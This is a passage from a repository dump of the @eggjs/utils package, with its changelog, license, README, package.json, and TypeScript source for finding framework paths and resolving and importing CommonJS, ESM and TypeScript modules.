[4.1.1](https://github.com/eggjs/utils/compare/v4.1.0...v4.1.1) (2024-12-24)\n\n### Bug Fixes\n\n- try to read build dist file first ([#27](https://github.com/eggjs/utils/issues/27)) ([7a89153](https://github.com/eggjs/utils/commit/7a89153f70a0536674287022ac4db71a626361c4))\n\n## [4.1.0](https://github.com/eggjs/utils/compare/v4.0.3...v4.1.0) (2024-12-23)\n\n### Features\n\n- support import typescript files first at dev env ([#26](https://github.com/eggjs/utils/issues/26)) ([349c0c3](https://github.com/eggjs/utils/commit/349c0c3886cae59d1dcaa6634764aee406c07837))\n\n## [4.0.3](https://github.com/eggjs/egg-utils/compare/v4.0.2...v4.0.3) (2024-12-17)\n\n### Bug Fixes\n\n- set default require.resolve paths to cwd ([#25](https://github.com/eggjs/egg-utils/issues/25)) ([84e16ed](https://github.com/eggjs/egg-utils/commit/84e16ededd0eca1a5a3412aa8934cd0cd4e02567))\n\n## [4.0.2](https://github.com/eggjs/egg-utils/compare/v4.0.1...v4.0.2) (2024-06-17)\n\n### Bug Fixes\n\n- support ts-module ([#23](https://github.com/eggjs/egg-utils/issues/23)) ([c032932](https://github.com/eggjs/egg-utils/commit/c0329323489724b59a79c9715fa793d0c90a3b88))\n\n## [4.0.1](https://github.com/eggjs/egg-utils/compare/v4.0.0...v4.0.1) (2024-06-17)\n\n### Bug Fixes\n\n- support export default null ([#22](https://github.com/eggjs/egg-utils/issues/22)) ([61a8a98](https://github.com/eggjs/egg-utils/commit/61a8a9857df89dc6c79c4e1011f89a408f88d99f))\n\n## [4.0.0](https://github.com/eggjs/egg-utils/compare/v3.0.1...v4.0.0) (2024-06-17)\n\n### ⚠ BREAKING CHANGES\n\n- drop Node.js < 18.19.0 support\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\n- **New Features**\n- Introduced new utility functions for resolving and importing modules\n  with support for CommonJS and ESM formats.\n- Added new test fixtures for CommonJS and ESM modules to validate\n  module import functionality.\n\n- **Refactor**\n- Updated import statements to include file extensions (`.js`) for\n  consistency and compatibility. - Refactored code to use async/await for asynchronous operations. - Improved path handling in tests with helper functions.\n\n- **Documentation**\n- Updated `package.json` with new scripts, dependencies, and module\n  management configurations.\n\n- **Chores**\n- Enhanced `.gitignore` to exclude `.tshy*` files and `dist/` directory.\n  - Modified GitHub Actions workflows for Node.js and release processes.\n\n- **Tests**\n  - Added tests for new module import functions.\n  - Updated existing tests to reflect new import paths and async changes.\n\n- **Configuration**\n- Updated `tsconfig.json` for stricter TypeScript settings and modern\n  module resolution.\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n- support @eggjs/core next version ([#21](https://github.com/eggjs/egg-utils/issues/21)) ([a37968c](https://github.com/eggjs/egg-utils/commit/a37968cc9aceb770da1410480f792df16989a36a))\n\n## [3.0.1](https://github.com/eggjs/egg-utils/compare/v3.0.0...v3.0.1) (2024-01-12)\n\n### Bug Fixes\n\n- scope package resolve logic in monorepo ([#20](https://github.com/eggjs/egg-utils/issues/20)) ([f4a47b9](https://github.com/eggjs/egg-utils/commit/f4a47b908120049094b7689ec51c8c6de1066f96))\n\n## [3.0.0](https://github.com/eggjs/egg-utils/compare/v2.5.0...v3.0.0) (2023-05-29)\n\n### ⚠ BREAKING CHANGES\n\n- drop Node.js 14 support\n\ncloses https://github.com/eggjs/egg-utils/issues/18\n\n### Features\n\n- refactor with typescript ([#19](https://github.com/eggjs/egg-utils/issues/19)) ([7f6dcf5](https://github.com/eggjs/egg-utils/commit/7f6dcf5a58f6b3d7801082fb9f8c363e19763b55))\n\n## [2.5.0](https://github.com/eggjs/egg-utils/compare/v2.4.1...v2.5.0) (2023-04-26)\n\n### Features\n\n- getFrameworkPath support monorepo ([#16](https://github.com/eggjs/egg-utils/issues/16)) ([47ffc89](https://github.com/eggjs/egg-utils/commit/47ffc89fa01636e30761068539296e4786093ab1))\n\n---\n\n# 2.4.1 / 2018-08-07\n\n**fixes**\n\n- [[`413d47b`](http://github.com/eggjs/egg-utils/commit/413d47b23281e226a6bd6da76d78047214f8b64d)] - fix: not loading plugins config while getting configs (#12) (Khaidi Chu <<i@2333.moe>>)\n\n# 2.4.0 / 2018-04-15\n\n**features**\n\n- [[`737c851`](http://github.com/eggjs/egg-utils/commit/737c851272f1d50a103158d52359b536bc33f893)] - feat: env options for all utils (#10) (Haoliang Gao <<sakura9515@gmail.com>>)\n- [[`99877f4`](http://github.com/eggjs/egg-utils/commit/99877f49941bb41cff49f692e75382bdb651cb07)] - feat: add getConfig (#9) (Kaicong Huang <<526672351@qq.com>>)\n\n**others**\n\n- [[`6c37dd2`](http://github.com/eggjs/egg-utils/commit/6c37dd22ed653dfb21df218a270e0b83d3825e75)] - docs: fix readme (#11) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 2.3.0 / 2017-10-26\n\n**others**\n\n- [[`42e4394`](http://github.com/eggjs/egg-utils/commit/42e43949997a98c1caacddced05ad8f307cbe1ca)] - refactor: use readJSON instead of require (#8) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 2.2.0 / 2017-06-02\n\n- feat: check baseDir and framework (#7)\n- feat: add getPlugins and getLoadUnits (#6)\n\n# 2.1.0 / 2017-03-02\n\n- feat: lookup framework from process.cwd() (#4)\n\n# 2.0.0 / 2017-03-01\n\n- feat: move getFrameworkPath from egg-cluster (#2)\n- deps: only support node >= 6.0.0\n\n# 1.1.0 / 2017-01-13\n\n- feat: support read framework from package.json (#1)\n\n# 1.0.0 / 2016-06-20\n\n- init version\n"
  },
  {
    "path": "packages/utils/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/utils/README.md",
    "content": "# @eggjs/utils\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/utils.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/utils.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/utils\n[download-image]: https://img.shields.io/npm/dm/@eggjs/utils.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/utils\n\nUtils for all egg projects.\n\n## Installation\n\n```bash\nnpm i @eggjs/utils\n```\n\n## API\n\n### `getPlugins(options)`\n\n- {String} baseDir - the current directory of application\n- {String} framework - the directory of framework\n- {String} env - egg environment\n\n### `getLoadUnits(options)`\n\n- {String} baseDir - the current directory of application\n- {String} framework - the directory of framework\n- {String} env - egg environment\n\n### `getConfig(options)`\n\n- {String} baseDir - the current directory of application\n- {String} framework - the directory of framework\n- {String} env - egg environment\n\n### `getFrameworkPath(options)`\n\n- {String} baseDir - the current directory of application\n- {String} framework - the directory of framework\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/utils/package.json",
    "content": "{\n  \"name\": \"@eggjs/utils\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"Utils for all egg projects\",\n  \"keywords\": [\n    \"egg\",\n    \"utils\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/utils\",\n  \"license\": \"MIT\",\n  \"author\": \"fengmk2 <fengmk2@gmail.com> (https://github.com/fengmk2)\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/utils\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {},\n  \"devDependencies\": {\n    \"coffee\": \"catalog:\",\n    \"mm\": \"catalog:\",\n    \"runscript\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/utils/src/deprecated.ts",
    "content": "import { existsSync, readdirSync } from 'node:fs';\nimport path from 'node:path';\n\nimport { readJSONSync } from './utils.ts';\n\n/**\n * Try to get framework dir path\n * If can't find any framework, try to find egg dir path\n *\n * @param {String} cwd - current work path\n * @param {Array} [eggNames] - egg names, default is ['egg']\n * @return {String} framework or egg dir path\n * @deprecated\n */\nexport function getFrameworkOrEggPath(cwd: string, eggNames?: string[]): string {\n  eggNames = eggNames || ['egg'];\n  const moduleDir = path.join(cwd, 'node_modules');\n  if (!existsSync(moduleDir)) {\n    return '';\n  }\n\n  // try to get framework\n\n  // 1. try to read egg.framework property on package.json\n  const pkgFile = path.join(cwd, 'package.json');\n  if (existsSync(pkgFile)) {\n    const pkg = readJSONSync(pkgFile);\n    if (pkg.egg && pkg.egg.framework) {\n      return path.join(moduleDir, pkg.egg.framework);\n    }\n  }\n\n  // 2. try the module dependencies includes eggNames\n  const names = readdirSync(moduleDir);\n  for (const name of names) {\n    const pkgfile = path.join(moduleDir, name, 'package.json');\n    if (!existsSync(pkgfile)) {\n      continue;\n    }\n    const pkg = readJSONSync(pkgfile);\n    if (pkg.dependencies) {\n      for (const eggName of eggNames) {\n        if (pkg.dependencies[eggName]) {\n          return path.join(moduleDir, name);\n        }\n      }\n    }\n  }\n\n  // try to get egg\n  for (const eggName of eggNames) {\n    const pkgfile = path.join(moduleDir, eggName, 'package.json');\n    if (existsSync(pkgfile)) {\n      return path.join(moduleDir, eggName);\n    }\n  }\n\n  return '';\n}\n"
  },
  {
    "path": "packages/utils/src/error/ImportResolveError.ts",
    "content": "export class ImportResolveError extends Error {\n  filepath: string;\n  paths: string[];\n\n  constructor(filepath: string, paths: string[], error: Error) {\n    const message = `${error.message}, paths: ${JSON.stringify(paths)}`;\n    super(message, { cause: error });\n    this.name = this.constructor.name;\n    this.filepath = filepath;\n    this.paths = paths;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "packages/utils/src/error/index.ts",
    "content": "export * from './ImportResolveError.ts';\n"
  },
  {
    "path": "packages/utils/src/framework.ts",
    "content": "import assert from 'node:assert';\nimport { existsSync } from 'node:fs';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { importResolve } from './import.ts';\nimport { readJSONSync } from './utils.ts';\n\nconst debug = debuglog('egg/utils/framework');\n\nconst initCwd = process.cwd();\n\ninterface Options {\n  baseDir: string;\n  framework?: string;\n}\n\n/**\n * Find the framework directory, lookup order\n * - specify framework path\n * - get framework name from\n * - use egg by default\n * @param {Object} options - options\n * @param  {String} options.baseDir - the current directory of application\n * @param  {String} [options.framework] - the directory of framework\n * @return {String} frameworkPath\n */\nexport function getFrameworkPath(options: Options): string {\n  const { framework, baseDir } = options;\n  const pkgPath = path.join(baseDir, 'package.json');\n  assert(existsSync(pkgPath), `${pkgPath} should exist`);\n  const moduleDir = path.join(baseDir, 'node_modules');\n\n  // 1. pass framework or customEgg\n  if (framework) {\n    // 1.1 framework is an absolute path\n    // framework: path.join(baseDir, 'node_modules/${frameworkName}')\n    if (path.isAbsolute(framework)) {\n      assert(existsSync(framework), `${framework} should exist`);\n      return framework;\n    }\n    // 1.2 framework is a npm package that required by application\n    // framework: 'frameworkName'\n    return assertAndReturn(framework, moduleDir, baseDir);\n  }\n\n  const pkg = readJSONSync(pkgPath);\n  // 2. framework is not specified\n  // 2.1 use framework name from pkg.egg.framework\n  if (pkg.egg?.framework) {\n    return assertAndReturn(pkg.egg.framework, moduleDir, baseDir);\n  }\n\n  // 2.2 use egg by default\n  return assertAndReturn('egg', moduleDir, baseDir);\n}\n\nfunction assertAndReturn(frameworkName: string, moduleDir: string, baseDir: string) {\n  const moduleDirs = new Set([\n    moduleDir,\n    // find framework from process.cwd, especially for test,\n    // the application is in test/fixtures/app,\n    // and framework is install in ${cwd}/node_modules\n    path.join(process.cwd(), 'node_modules'),\n    // prevent from mocking process.cwd\n    path.join(initCwd, 'node_modules'),\n  ]);\n  try {\n    // find framework from global, especially for monorepo\n    let globalModuleDir: string;\n    // if frameworkName is scoped package, like @ali/egg\n    if (frameworkName.startsWith('@') && frameworkName.includes('/')) {\n      globalModuleDir = path.join(importResolve(`${frameworkName}/package.json`, { paths: [baseDir] }), '../../..');\n    } else {\n      globalModuleDir = path.join(importResolve(`${frameworkName}/package.json`, { paths: [baseDir] }), '../..');\n    }\n    moduleDirs.add(globalModuleDir);\n  } catch {\n    // ignore\n    // debug('importResolve %s on %s error: %s', frameworkName, moduleDir, err);\n  }\n  for (const moduleDir of moduleDirs) {\n    const frameworkPath = path.join(moduleDir, frameworkName);\n    if (existsSync(frameworkPath)) {\n      debug('[assertAndReturn] frameworkPath: %s, moduleDirs: %o', frameworkPath, moduleDirs);\n      return frameworkPath;\n    }\n  }\n  // console.error('framework: %o is not found in: %j, cwd: %s, baseDir: %s', frameworkName, Array.from(moduleDirs), process.cwd(), baseDir);\n  throw new Error(`${frameworkName} is not found in ${Array.from(moduleDirs)}`);\n}\n"
  },
  {
    "path": "packages/utils/src/import.ts",
    "content": "import fs from 'node:fs';\nimport { createRequire } from 'node:module';\nimport path from 'node:path';\nimport { pathToFileURL, fileURLToPath } from 'node:url';\nimport { debuglog } from 'node:util';\n\nimport { ImportResolveError } from './error/index.ts';\n\nconst debug = debuglog('egg/utils/import');\n\nexport interface ImportResolveOptions {\n  paths?: string[];\n}\n\nexport interface ImportModuleOptions extends ImportResolveOptions {\n  // only import export default object\n  importDefaultOnly?: boolean;\n}\n\n// detect is esm or cjs\nexport let isESM = true;\ntry {\n  // Accessing import.meta will throw an error in CJS\n  if (typeof import.meta !== 'undefined') {\n    isESM = true;\n  }\n} catch {\n  // If import.meta is not available, it's likely CJS\n  isESM = false;\n}\nconst nodeMajorVersion = parseInt(process.versions.node.split('.', 1)[0], 10);\nconst supportImportMetaResolve = nodeMajorVersion >= 18;\n\nlet _customRequire: NodeRequire;\nexport function getRequire(): NodeRequire {\n  if (!_customRequire) {\n    if (typeof require !== 'undefined') {\n      _customRequire = require;\n    } else {\n      _customRequire = createRequire(process.cwd());\n    }\n  }\n  return _customRequire;\n}\n\nexport function getExtensions(): NodeJS.RequireExtensions {\n  return getRequire().extensions;\n}\n\nlet _supportTypeScript: boolean | undefined;\nexport function isSupportTypeScript(): boolean {\n  // disable ts by process.env.EGG_TS_ENABLE = 'false', @eggjs/scripts start will use it to disable ts\n  if (process.env.EGG_TS_ENABLE === 'false') {\n    return false;\n  }\n\n  if (_supportTypeScript === undefined) {\n    const extensions = getExtensions();\n    // enable ts by process.env.EGG_TS_ENABLE or process.env.VITEST\n    _supportTypeScript =\n      extensions['.ts'] !== undefined ||\n      process.env.VITEST === 'true' ||\n      process.env.EGG_TS_ENABLE === 'true' ||\n      // Node.js doesn't support enum by default\n      nodeMajorVersion >= 22;\n    debug(\n      '[isSupportTypeScript] %o, extensions: %j, process.env.VITEST: %j, process.env.EGG_TS_ENABLE: %j, node version: %s',\n      _supportTypeScript,\n      Object.keys(extensions),\n      process.env.VITEST,\n      process.env.EGG_TS_ENABLE,\n      process.versions.node,\n    );\n  }\n  return _supportTypeScript;\n}\n\nfunction tryToResolveFromFile(filepath: string): string | undefined {\n  // \"type\": \"module\", try index.mjs then index.js\n  const type = isESM ? 'module' : 'commonjs';\n  let mainIndexFile = '';\n  if (type === 'module') {\n    mainIndexFile = filepath + '.mjs';\n    if (fs.existsSync(mainIndexFile)) {\n      debug('[tryToResolveFromFile] %o, use index.mjs, type: %o', mainIndexFile, type);\n      return mainIndexFile;\n    }\n    mainIndexFile = filepath + '.js';\n    if (fs.existsSync(mainIndexFile)) {\n      debug('[tryToResolveFromFile] %o, use index.js, type: %o', mainIndexFile, type);\n      return mainIndexFile;\n    }\n  } else {\n    // \"type\": \"commonjs\", try index.js then index.cjs\n    mainIndexFile = filepath + '.cjs';\n    if (fs.existsSync(mainIndexFile)) {\n      debug('[tryToResolveFromFile] %o, use index.cjs, type: %o', mainIndexFile, type);\n      return mainIndexFile;\n    }\n    mainIndexFile = filepath + '.js';\n    if (fs.existsSync(mainIndexFile)) {\n      debug('[tryToResolveFromFile] %o, use index.js, type: %o', mainIndexFile, type);\n      return mainIndexFile;\n    }\n  }\n\n  if (!isSupportTypeScript()) {\n    return;\n  }\n\n  // for the module under development\n  mainIndexFile = filepath + '.ts';\n  if (fs.existsSync(mainIndexFile)) {\n    debug('[tryToResolveFromFile] %o, use index.ts, type: %o', mainIndexFile, type);\n    return mainIndexFile;\n  }\n}\n\nfunction tryToResolveByDirnameFromPackage(dirname: string, pkg: any): string | undefined {\n  // try to read pkg.main or pkg.module first\n  // \"main\": \"./dist/commonjs/index.js\",\n  // \"module\": \"./dist/esm/index.js\"\n  const defaultMainFile = isESM ? (pkg.module ?? pkg.main) : pkg.main;\n  if (defaultMainFile) {\n    const mainIndexFilePath = path.join(dirname, defaultMainFile);\n    if (fs.existsSync(mainIndexFilePath)) {\n      debug(\n        '[tryToResolveByDirnameFromPackage] %o, use pkg.main or pkg.module: %o, isESM: %s',\n        mainIndexFilePath,\n        defaultMainFile,\n        isESM,\n      );\n      return mainIndexFilePath;\n    }\n  }\n  // detect from exports\n  if (pkg.exports?.['.']) {\n    const pkgType: string = pkg.type ?? 'commonjs';\n    const defaultExport = pkg.exports['.'] as\n      | string\n      | {\n          import?:\n            | string\n            | {\n                default?: string;\n              };\n          require?:\n            | string\n            | {\n                default?: string;\n              };\n        };\n    let mainIndexFilePath = '';\n    if (typeof defaultExport === 'string') {\n      mainIndexFilePath = path.join(dirname, defaultExport);\n    } else {\n      // \"type\": \"module\",\n      if (pkgType === 'module') {\n        if (typeof defaultExport.import === 'string') {\n          mainIndexFilePath = path.join(dirname, defaultExport.import);\n        } else if (typeof defaultExport.import?.default === 'string') {\n          mainIndexFilePath = path.join(dirname, defaultExport.import.default);\n        }\n      } else {\n        // \"type\": \"commonjs\",\n        if (typeof defaultExport.require === 'string') {\n          mainIndexFilePath = path.join(dirname, defaultExport.require);\n        } else if (typeof defaultExport.require?.default === 'string') {\n          mainIndexFilePath = path.join(dirname, defaultExport.require.default);\n        }\n      }\n    }\n    if (mainIndexFilePath && fs.existsSync(mainIndexFilePath)) {\n      debug(\n        '[tryToResolveByDirnameFromPackage] %o, use pkg.exports[.]: %o, pkg.type: %o',\n        mainIndexFilePath,\n        defaultExport,\n        pkgType,\n      );\n      return mainIndexFilePath;\n    }\n  }\n\n  // \"type\": \"module\", try index.mjs then index.js\n  const type = pkg?.type ?? (isESM ? 'module' : 'commonjs');\n  if (type === 'module') {\n    const mainIndexFilePath = path.join(dirname, 'index.mjs');\n    if (fs.existsSync(mainIndexFilePath)) {\n      debug('[tryToResolveByDirnameFromPackage] %o, use index.mjs, pkg.type: %o', mainIndexFilePath, type);\n      return mainIndexFilePath;\n    }\n    const mainIndexMjsFilePath = path.join(dirname, 'index.js');\n    if (fs.existsSync(mainIndexMjsFilePath)) {\n      debug('[tryToResolveByDirnameFromPackage] %o, use index.js, pkg.type: %o', mainIndexMjsFilePath, type);\n      return mainIndexMjsFilePath;\n    }\n  } else {\n    // \"type\": \"commonjs\", try index.cjs then index.js\n    const mainIndexFilePath = path.join(dirname, 'index.cjs');\n    if (fs.existsSync(mainIndexFilePath)) {\n      debug('[tryToResolveByDirnameFromPackage] %o, use index.cjs, pkg.type: %o', mainIndexFilePath, type);\n      return mainIndexFilePath;\n    }\n    const mainIndexCjsFilePath = path.join(dirname, 'index.js');\n    if (fs.existsSync(mainIndexCjsFilePath)) {\n      debug('[tryToResolveByDirnameFromPackage] %o, use index.js, pkg.type: %o', mainIndexCjsFilePath, type);\n      return mainIndexCjsFilePath;\n    }\n  }\n\n  if (!isSupportTypeScript()) {\n    return;\n  }\n\n  // for the module under development\n  // \"tshy\": {\n  //   \"exports\": {\n  //     \"./package.json\": \"./package.json\",\n  //     \".\": \"./src/index.ts\"\n  //   }\n  // }\n  const mainIndexFile = pkg.tshy?.exports?.['.'] ?? 'index.ts';\n  const mainIndexFilePath = path.join(dirname, mainIndexFile);\n  if (fs.existsSync(mainIndexFilePath)) {\n    return mainIndexFilePath;\n  }\n}\n\nfunction tryToResolveByDirname(dirname: string): string | undefined {\n  let pkg: any = {};\n  const pkgFile = path.join(dirname, 'package.json');\n  if (fs.existsSync(pkgFile)) {\n    pkg = JSON.parse(fs.readFileSync(pkgFile, 'utf-8'));\n  }\n  return tryToResolveByDirnameFromPackage(dirname, pkg);\n}\n\nfunction isRelativePath(filepath: string): boolean {\n  return (\n    filepath.startsWith('./') || filepath.startsWith('../') || filepath.startsWith('.\\\\') || filepath.startsWith('..\\\\')\n  );\n}\n\nfunction tryToResolveFromAbsoluteFile(filepath: string): string | undefined {\n  let moduleFilePath: string | undefined;\n  const stat = fs.statSync(filepath, { throwIfNoEntry: false });\n  // try to resolve from directory\n  if (stat?.isDirectory()) {\n    moduleFilePath = tryToResolveByDirname(filepath);\n    if (moduleFilePath) {\n      return moduleFilePath;\n    }\n  } else if (stat?.isFile()) {\n    return filepath;\n  }\n  // try to resolve from file\n  moduleFilePath = tryToResolveFromFile(filepath);\n  if (moduleFilePath) {\n    return moduleFilePath;\n  }\n\n  // try to resolve from parent directory and read package.json#exports\n  // e.g: /path/to/mock/app => /path/to/mock/src/app.ts\n  // {\n  //   \"exports\": {\n  //     \"./app\": \"./src/app.ts\"\n  //   }\n  // }\n  const parentDir = path.dirname(filepath);\n  const basename = path.basename(filepath);\n  const pkgFile = path.join(parentDir, 'package.json');\n  if (fs.existsSync(pkgFile)) {\n    const pkg = JSON.parse(fs.readFileSync(pkgFile, 'utf-8'));\n    const key = `./${basename}`;\n    if (pkg.exports?.[key]) {\n      return path.join(parentDir, pkg.exports[key]);\n    }\n  }\n}\n\nexport function importResolve(filepath: string, options?: ImportResolveOptions): string {\n  // find *.json or CommonJS module by require.resolve\n  // e.g.: importResolve('egg/package.json', { paths })\n  const paths = options?.paths ?? [process.cwd()];\n  debug('[importResolve] filepath: %o, options: %j, paths: %j', filepath, options, paths);\n\n  let moduleFilePath: string | undefined;\n  const isAbsolute = path.isAbsolute(filepath);\n  if (isAbsolute) {\n    moduleFilePath = tryToResolveFromAbsoluteFile(filepath);\n    if (moduleFilePath) {\n      debug('[importResolve:isAbsolute] %o => %o', filepath, moduleFilePath);\n      return moduleFilePath;\n    }\n  } else if (isRelativePath(filepath)) {\n    for (const p of paths) {\n      const resolvedPath = path.resolve(p, filepath);\n      moduleFilePath = tryToResolveFromAbsoluteFile(resolvedPath);\n      if (moduleFilePath) {\n        debug('[importResolve:isRelativePath] %o => %o => %o', filepath, resolvedPath, moduleFilePath);\n        return moduleFilePath;\n      }\n    }\n  }\n\n  // find from node_modules\n  for (const p of paths) {\n    let resolvedPath = path.join(p, 'node_modules', filepath);\n    moduleFilePath = tryToResolveFromAbsoluteFile(resolvedPath);\n    if (moduleFilePath) {\n      debug('[importResolve:node_modules] %o => %o => %o', filepath, resolvedPath, moduleFilePath);\n      return moduleFilePath;\n    }\n\n    // find from parent node_modules\n    // non-scoped package, e.g: node_modules/egg\n    let parentPath = path.dirname(p);\n    if (path.basename(parentPath) === 'node_modules') {\n      resolvedPath = path.join(parentPath, filepath);\n      moduleFilePath = tryToResolveFromAbsoluteFile(resolvedPath);\n      if (moduleFilePath) {\n        debug('[importResolve:node_modules] %o => %o => %o', filepath, resolvedPath, moduleFilePath);\n        return moduleFilePath;\n      }\n    }\n\n    // scoped package, e.g: node_modules/@eggjs/tegg\n    parentPath = path.dirname(parentPath);\n    if (path.basename(parentPath) === 'node_modules') {\n      resolvedPath = path.join(parentPath, filepath);\n      moduleFilePath = tryToResolveFromAbsoluteFile(resolvedPath);\n      if (moduleFilePath) {\n        debug('[importResolve:node_modules] %o => %o => %o', filepath, resolvedPath, moduleFilePath);\n        return moduleFilePath;\n      }\n    }\n  }\n\n  const extname = path.extname(filepath);\n  if ((!isAbsolute && extname === '.json') || !isESM) {\n    moduleFilePath = getRequire().resolve(filepath, {\n      paths,\n    });\n  } else {\n    if (supportImportMetaResolve) {\n      try {\n        moduleFilePath = import.meta.resolve(filepath);\n      } catch (err) {\n        debug('[importResolve:error] import.meta.resolve %o => %o, options: %o', filepath, err, options);\n        throw new ImportResolveError(filepath, paths, err as Error);\n      }\n      if (moduleFilePath.startsWith('file://')) {\n        // resolve will return file:// URL on Linux and MacOS expect on Windows\n        moduleFilePath = fileURLToPath(moduleFilePath);\n      }\n      debug('[importResolve] import.meta.resolve %o => %o', filepath, moduleFilePath);\n      const stat = fs.statSync(moduleFilePath, { throwIfNoEntry: false });\n      if (!stat?.isFile()) {\n        throw new TypeError(`Cannot find module ${filepath}, because ${moduleFilePath} does not exists`);\n      }\n    } else {\n      moduleFilePath = getRequire().resolve(filepath);\n    }\n  }\n  debug('[importResolve:success] %o, options: %o => %o, isESM: %s', filepath, options, moduleFilePath, isESM);\n  return moduleFilePath;\n}\n\nexport async function importModule(filepath: string, options?: ImportModuleOptions): Promise<any> {\n  const moduleFilePath = importResolve(filepath, options);\n  let obj: any;\n  if (isESM) {\n    // esm\n    const fileUrl = pathToFileURL(moduleFilePath).toString();\n    debug('[importModule:start] await import fileUrl: %s, isESM: %s', fileUrl, isESM);\n    obj = await import(fileUrl);\n    debug('[importModule:success] await import %o', fileUrl);\n    // {\n    //   default: { foo: 'bar', one: 1 },\n    //   foo: 'bar',\n    //   one: 1,\n    //   [Symbol(Symbol.toStringTag)]: 'Module'\n    // }\n    if (obj?.default?.__esModule === true && 'default' in obj?.default) {\n      // 兼容 cjs 模拟 esm 的导出格式\n      // {\n      //   __esModule: true,\n      //   default: {\n      //     __esModule: true,\n      //     default: {\n      //       fn: [Function: fn] { [length]: 0, [name]: 'fn' },\n      //       foo: 'bar',\n      //       one: 1\n      //     }\n      //   },\n      //   [Symbol(Symbol.toStringTag)]: 'Module'\n      // }\n      // 兼容 ts module\n      // {\n      //   default: {\n      //     [__esModule]: true,\n      //     default: <ref *1> [Function: default_1] {\n      //       [length]: 0,\n      //       [name]: 'default_1',\n      //       [prototype]: { [constructor]: [Circular *1] }\n      //     }\n      //   },\n      //   [Symbol(Symbol.toStringTag)]: 'Module'\n      // }\n      obj = obj.default;\n    }\n    if (options?.importDefaultOnly) {\n      if ('default' in obj) {\n        obj = obj.default;\n      }\n    }\n  } else {\n    // commonjs\n    obj = require(moduleFilePath);\n    debug('[importModule] require %o', moduleFilePath);\n    if (obj?.__esModule === true && 'default' in obj) {\n      // 兼容 cjs 模拟 esm 的导出格式\n      // {\n      //   __esModule: true,\n      //   default: { fn: [Function: fn], foo: 'bar', one: 1 }\n      // }\n      obj = obj.default;\n    }\n  }\n  if (debug.enabled) {\n    debug('[importModule] return %o => keys: %j, typeof obj: %s', filepath, obj ? Object.keys(obj) : obj, typeof obj);\n  }\n  return obj;\n}\n"
  },
  {
    "path": "packages/utils/src/index.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { getFrameworkOrEggPath } from './deprecated.ts';\nimport { getFrameworkPath } from './framework.ts';\nimport { getPlugins, getConfig, getLoadUnits } from './plugin.ts';\n\n// support import { getFrameworkPath } from '@eggjs/utils'\nexport { getFrameworkPath } from './framework.ts';\nexport { getPlugins, getConfig, getLoadUnits, getLoader, findEggCore } from './plugin.ts';\nexport { getFrameworkOrEggPath } from './deprecated.ts';\nexport * from './import.ts';\nexport * from './error/index.ts';\n\n// support import utils from '@eggjs/utils'\nexport default {\n  getFrameworkPath,\n  getPlugins,\n  getConfig,\n  getLoadUnits,\n  getFrameworkOrEggPath,\n} as {\n  getFrameworkPath: typeof getFrameworkPath;\n  getPlugins: typeof getPlugins;\n  getConfig: typeof getConfig;\n  getLoadUnits: typeof getLoadUnits;\n  getFrameworkOrEggPath: typeof getFrameworkOrEggPath;\n};\n\nexport const EggType = {\n  framework: 'framework',\n  plugin: 'plugin',\n  application: 'application',\n  unknown: 'unknown',\n} as const;\nexport type EggType = (typeof EggType)[keyof typeof EggType];\n\n/**\n * Detect the type of egg project\n */\nexport async function detectType(baseDir: string): Promise<keyof typeof EggType> {\n  const pkgFile = path.join(baseDir, 'package.json');\n  let pkg: {\n    egg?: {\n      